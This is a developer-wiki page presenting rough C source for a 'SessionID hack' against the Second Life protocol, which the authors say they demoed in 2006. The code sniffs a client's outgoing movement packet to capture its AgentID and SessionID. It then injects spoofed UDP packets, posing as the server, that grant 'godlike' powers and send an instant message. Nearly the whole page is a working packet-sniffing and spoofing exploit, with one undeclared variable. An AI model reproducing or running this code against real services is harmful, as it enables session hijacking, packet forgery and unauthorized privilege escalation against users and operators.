SessionID hack

From libopenmetaverse - libomv - Developer Wiki

Jump to: navigation, search

This is really rough, but it got the job done. John and I wrote this before and during SLCC, and even got to (successfully) demo it at Linden Lab. Enjoy! Ben 19:28, 19 August 2006 (EDT)

 
// to compile:  gcc -g3 -o heresy-im heresy-im.c -lpcap -lnet
#include <pcap.h>
#include <libnet.h>
#include <time.h>
 
#define print_error(f,s...) {fprintf(stderr,f,s); exit(0);}
char * name2key(char * uuid, char *buf);
 
/* 4 bytes IP address */
typedef struct ip_address {
  u_char     byte1;
  u_char     byte2;
  u_char     byte3;
  u_char     byte4;
} ip_address;
 
/* IPv4 header */
typedef struct ip_header {
  u_char     ver_ihl;        // Version (4 bits) + Internet header length (4 bits)
  u_char     tos;            // Type of service
  u_short    tlen;           // Total length
  u_short    identification; // Identification
  u_short    flags_fo;       // Flags (3 bits) + Fragment offset (13 bits)
  u_char     ttl;            // Time to live
  u_char     proto;          // Protocol
  u_short    crc;            // Header checksum
  ip_address saddr;          // Source address
  ip_address daddr;          // Destination address
  u_int      op_pad;         // Option + Padding
} ip_header;
 
/* UDP header*/
typedef struct udp_header {
  u_short    sport;          // Source port
  u_short    dport;          // Destination port
  u_short    len;            // Datagram length
  u_short    crc;            // Checksum
} udp_header;
 
/* prototype of the packet handler */
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data);
 
libnet_t *l;
char errbuf[PCAP_ERRBUF_SIZE];
 
int main(int argc, char **argv) {
  pcap_if_t *alldevs, *d;
  int inum, i = 0;
  pcap_t *adhandle;
  u_int netmask;
  char packet_filter[] = "ip and udp and udp[12:4] = 0xffff0120"; // ENDIAN
  struct bpf_program fcode;
  
  // Retrieve the device list
  if (pcap_findalldevs(&alldevs, errbuf) == -1) 
    print_error("Error in pcap_findalldevs: %s\n", errbuf);
 
  // Print the list
  for (d=alldevs; d!=NULL; d=d->next) {
    printf("%d. %s", ++i, d->name);
    if (d->description) printf(" (%s)\n", d->description);
    else                printf(" (No description available)\n");
  }
 
  if (i == 0) print_error("\nNo interfaces found! Make sure WinPcap is installed.\n", NULL);
  
  //  printf("Enter the interface number (1-%d):",i);
  //scanf("%d", &inum);
  
/* Check if the user specified a valid adapter */
  // if(inum < 1 || inum > i) print_error("\nAdapter number %d out of range.\n", inum);
 
  // Jump to the selected adapter
  // for (d = alldevs, i = 0; i < inum - 1; d = d->next, i++);
  for (d = alldevs; d && strcasecmp(d->name,"en1"); d = d->next);
  // Open the adapter
    if ((adhandle = pcap_open_live(d->name,    // name of the device
                                 150,            // portion of the packet to capture.
                                 // 65536 grants that the whole packet will be captured on all the MACs.
                                 // ... but 100 takes less CPU time
                                 1,                // promiscuous mode (nonzero means promiscuous)
                                 1000,            // read timeout
                                 errbuf            // error buffer
                                 )) == NULL) 
    print_error("\nUnable to open the adapter. %s is not supported by libpcap\n", d->name);
 
  if (d->addresses != NULL && d->addresses->netmask != NULL)
    // Retrieve the mask of the first address of the interface // XXX BHB may not work
    netmask = ((struct sockaddr_in *)(d->addresses->netmask))->sin_addr.s_addr;
  else
    netmask = 0xffffff;  
 
  l = libnet_init(
                  LIBNET_RAW4,                            // injection type
                  d->name,                                // network interface
                  errbuf);                                // errbuf
 
  if (l == NULL) print_error("libnet_init() failed: %s\n", errbuf);
 
  // compile the filter
  if (pcap_compile(adhandle, &fcode, packet_filter, 1, netmask) < 0) 
    print_error("\nUnable to compile the packet filter. Check the syntax (%s)\n",packet_filter);
 
  //set the filter
  if (pcap_setfilter(adhandle, &fcode) < 0) 
    print_error("\nError setting the filter.\n",NULL);
 
  printf("\nlistening on %s...\n", d->name);
  // At this point, we don't need any more the device list. Free it
  pcap_freealldevs(alldevs);
  // start the capture
  pcap_loop(adhandle, 0, packet_handler, NULL);
  exit(0);
}
 
void print_uuid(u_char* uuid) {
  int i;
 
  for (i = 0; i < 16; i++) printf("%02x", uuid[i]);
}
 
void packet_handler(u_char *param, const struct pcap_pkthdr *header, const u_char *pkt_data) {
  ip_header *ih;
  udp_header *uh;
  u_char* payload;
  u_char godpayload[57];
  u_char impayload[200];
  char buf[1000];
  char *im_message="libsecondlife has given you a gift -- props to SLCC!";
  char *im_title="x";
  clock_t c;
  unsigned short sequence;
  u_int ip_len;
  u_long client_ip, server_ip;
  u_short client_port, server_port;
  libnet_ptag_t udp=0, ip=0;
  int bytes_sent=0;
  int b=0;
 
  /* retrieve the position of the ip header */
  ih = (ip_header *)(pkt_data + 14); //length of ethernet header
 
  /* retrieve the position of the udp header */
  ip_len = (ih->ver_ihl & 0xf) * 4;
  uh = (udp_header *)((u_char*)ih + ip_len);
  payload = (u_char*)uh + 8;
  /* convert from network byte order to host byte order */
  client_port = ntohs(uh->sport);
  server_port = ntohs(uh->dport);
 
 
  // ENDIAN
  client_ip=ih->saddr.byte4 | ih->saddr.byte3<<8 | ih->saddr.byte2<<16 | ih->saddr.byte1<<24;
  server_ip=ih->daddr.byte4 | ih->daddr.byte3<<8 | ih->daddr.byte2<<16 | ih->daddr.byte1<<24;
  sequence=payload[2]*256+payload[3];
 
  /* print ip addresses and udp ports */
  if(ih->saddr.byte1==10) 
    printf("%3d.%3d.%3d.%3d:%5d -> %3d.%3d.%3d.%3d:%5d ",
         ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4, client_port,
         ih->daddr.byte1, ih->daddr.byte2, ih->daddr.byte3, ih->daddr.byte4, server_port);
  else    printf("%3d.%3d.%3d.%3d:%5d <- %3d.%3d.%3d.%3d:%5d ",
               ih->daddr.byte1, ih->daddr.byte2, ih->daddr.byte3, ih->daddr.byte4, server_port,
               ih->saddr.byte1, ih->saddr.byte2, ih->saddr.byte3, ih->saddr.byte4, client_port);
 
  printf("AgentID: ");
  print_uuid(payload + 44);
  printf("  SessionID: ");
  print_uuid(payload + 60);
  printf("\n");
 
  // The idea is to grab the outgoing CompleteAgentMovement packet (already done since
  // we're in the callback), and pull the source/client ip+port out, the destination/server
  // ip+port, the agentid, and the sessionid to construct a GrantGodlikePowers packet that
  // will be sent back to the client and appear to come from the server.
 
  // GrantGodlikePowers == 8 byte (Low header), 49 byte SL payload == 57 byte UDP payload
  sequence++;
  memset(godpayload, 0, sizeof(godpayload));
  godpayload[0]=0x00; // Reliable
  // 1..3 = 0
  godpayload[2]=sequence>>8;
  godpayload[3]=sequence&0xff;
  godpayload[4]=0xFF;
  godpayload[5]=0xFF;
  godpayload[6]=0x01;
  godpayload[7]=0x38; // 0x0138 = GrantGodlikePowers
  godpayload[8]=0xFF; // GodLevel = 256
  // 9 .. 24 = 0 (UUID 0)
  memcpy(godpayload+25,payload+44,32);  // copy agentid, sessionid
 
 
  // We'll need the client (source) ip/port, server (destination) ip/port, possibly the
  // sequence number, the agentid, and the sessionid from the captured packet above.
  // GodLevel should be 255 and Token can be anything, zeroes work. Packet needs to be
  // written to the wire and that's about it
 
   udp = libnet_build_udp(
                         client_port,                            /* destination port */
                         server_port,                            /* source port */
                         LIBNET_UDP_H + sizeof(godpayload),      /* packet length */
                         0,                                      /* checksum */
                         godpayload,                                /* payload */
                         sizeof(godpayload),                     /* payload size */
                         l,                                      /* libnet handle */
                         0);                                   /* libnet id */
 
  if (udp == -1) print_error("Can't build UDP payload: %s\n", libnet_geterror(l));
 
  ip = libnet_build_ipv4(
                         LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(godpayload),        /* length */
                         0,                                          /* TOS */
                         242,                                        /* IP ID */
                         0,                                          /* IP Frag */
                         64,                                         /* TTL */
                         IPPROTO_UDP,                                /* protocol */
                         0,                                          /* checksum */
                         client_ip,
                         server_ip,
                         NULL,                                       /* payload */
                         0,                                          /* payload size */
                         l,                                          /* libnet handle */
                         //                      ip);                                         /* libnet id */
                         0);                                         /* libnet id */
 
  if (ip == -1) print_error( "Can't build IP header: %s\n", libnet_geterror(l));
  
  bytes_sent=libnet_write(l);
  libnet_clear_packet(l);
    /* print ip addresses and udp ports */
  fprintf(stderr,"Sent a %d-byte packet from %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", bytes_sent,
         ih->daddr.byte1,
         ih->daddr.byte2,
         ih->daddr.byte3,
         ih->daddr.byte4,
         server_port,
         ih->saddr.byte1,
         ih->saddr.byte2,
         ih->saddr.byte3,
         ih->saddr.byte4,
         client_port
         );
 
  c=time(NULL);
  strcpy(tbuf,ctime(&c));
  tbuf[strlen(tbuf)-1]='\0';
  fprintf(stderr,"%s: %s\n",tbuf,name2key(payload+44,buf));
  
  memset(impayload, 0, sizeof(impayload));
  b=2; sequence++;
  impayload[b++]=sequence>>8;
  impayload[b++]=sequence&0xff;
  impayload[b++]=0xFF;
  impayload[b++]=0xFF;
  impayload[b++]=0x01;
  impayload[b++]=0x2e; // 0x012e = ImprovedInstantMessage
  b+=16; // ID == 8..23
  memcpy(impayload+b, payload+44, 16); // AgentID = 24 .. 39
  b+=16;
  b++; //  40 = Offline (U8)
  b+=4; // 41-44 = Timestamp (U32)
  impayload[b++]=(unsigned char)strlen(im_message)+1; b++;
 // 45,46 = Length
  strcpy(impayload+b, im_message); b+=strlen(im_message)+1;
  b+=16; // RegionID (LLUUID / 1)   zeroes
  b+=16; // FromAgentID (LLUUID / 1) agentid
  b++; //  Dialog (U8 / 1) 0
  b+=2; //  BinaryBucket (Variable / 2) 0x00 0x00
  b+=4; // ParentEstateID (U32 / 1) 0000
  impayload[b++]=strlen(im_title)+1; b++;
  strcpy(impayload+b,im_title); b+=strlen(im_title)+1;
  b+=12; // Position (LLVector3 / 1) 12
 
  udp = libnet_build_udp(
                         client_port,                            /* destination port */
                         server_port,                            /* source port */
                         LIBNET_UDP_H + b,      /* packet length */
                         0,                                      /* checksum */
                         impayload,                                /* payload */
                         b,                     /* payload size */
                         l,                                      /* libnet handle */
                         0);                                   /* libnet id */
 
  if (udp == -1) print_error("Can't build UDP payload: %s\n", libnet_geterror(l));
 
  ip = libnet_build_ipv4(
                         LIBNET_IPV4_H + LIBNET_UDP_H + b,        /* length */
                         0,                                          /* TOS */
                         242,                                        /* IP ID */
                         0,                                          /* IP Frag */
                         64,                                         /* TTL */
                         IPPROTO_UDP,                                /* protocol */
                         0,                                          /* checksum */
                         client_ip,
                         server_ip,
                         NULL,                                       /* payload */
                         0,                                          /* payload size */
                         l,                                          /* libnet handle */
                         //                      ip);                                         /* libnet id */
                         0);                                         /* libnet id */
 
  if (ip == -1) print_error( "Can't build IP header: %s\n", libnet_geterror(l));
  
  bytes_sent=libnet_write(l);
  libnet_clear_packet(l);
}
 
char * name2key(char * uuid, char *buf) {
  char linebuf[100],uuidbuf[40];
 
  FILE *fp=fopen("name2key.csv","r");
  
  if(!fp) {
    printf("Error opening name2key.csv!\n");
    exit(0);
  }
 
  sprintf(uuidbuf,"%02hhx%02hhx%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx-%02hhx%02hhx-"
          "%02hhx%02hhx%02hhx%02hhx%02hhx%02hhx", uuid[0], uuid[1], uuid[2], uuid[3],
          uuid[4], uuid[5], uuid[6], uuid[7], uuid[8], uuid[9], uuid[10],
          uuid[11], uuid[12], uuid[13], uuid[14], uuid[15]);
 
  while(!feof(fp)) {
    fgets(linebuf,sizeof(linebuf),fp);
    if(!strncmp(linebuf,uuidbuf,strlen(uuidbuf))) {
      strcpy(buf,linebuf+37);
      buf[strlen(buf)-1]='\0';
      fclose(fp);
      return buf;
    }
  }
 
  strcpy(buf,"(unknown)");
  fclose(fp);
  return buf;
}